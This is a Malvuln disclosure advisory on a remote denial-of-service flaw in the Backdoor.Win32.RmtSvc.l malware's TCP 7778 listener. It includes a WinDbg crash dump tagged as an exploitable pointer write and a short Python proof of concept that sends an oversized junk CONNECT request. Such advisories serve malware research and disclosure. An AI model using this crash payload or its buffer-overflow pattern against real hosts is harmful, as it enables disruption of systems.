Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/38f9ee3ce51ead0ce6bf2edcaa462611.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.RmtSvc.l
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 7778. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP CONNECT request to trigger an access violation and crash.
Type: PE32
MD5: 38f9ee3ce51ead0ce6bf2edcaa462611
Vuln ID: MVID-2021-0348 
Disclosure: 09/25/2021 

Memory Dump:
(2898.3768): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003
eip=776ced3c esp=0454f08c ebp=0454f21c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
776ced3c c21400          ret     14h

0:004> .ecxr
eax=74006082 ebx=0454fc94 ecx=00000000 edx=00000000 esi=00000000 edi=74006082
eip=004440a8 esp=0454f9cc ebp=74006082 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
*** WARNING: Unable to verify checksum for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8:
004440a8 c6043e00        mov     byte ptr [esi+edi],0       ds:002b:74006082=00

0:004> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8
004440a8 c6043e00        mov     byte ptr [esi+edi],0

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004440a8 (Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x000440a8)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 74006082
Attempt to write to address 74006082

PROCESS_NAME:  Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  74006082

WRITE_ADDRESS:  74006082 

FOLLOWUP_IP: 
Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8
004440a8 c6043e00        mov     byte ptr [esi+edi],0

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00003768

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE

LAST_CONTROL_TRANSFER:  from 004484dd to 004440a8

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0454f9d8 004484dd 74006082 00000000 74006082 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8
0454fc94 00000000 00000000 09ac8600 00000000 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x484dd


STACK_COMMAND:  ~4s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611

IMAGE_NAME:  Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  45b41639

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=7778

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    JUNK="A"*1000 
    PAYLOAD="CONNECT /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PAYLOAD)
    s.close()


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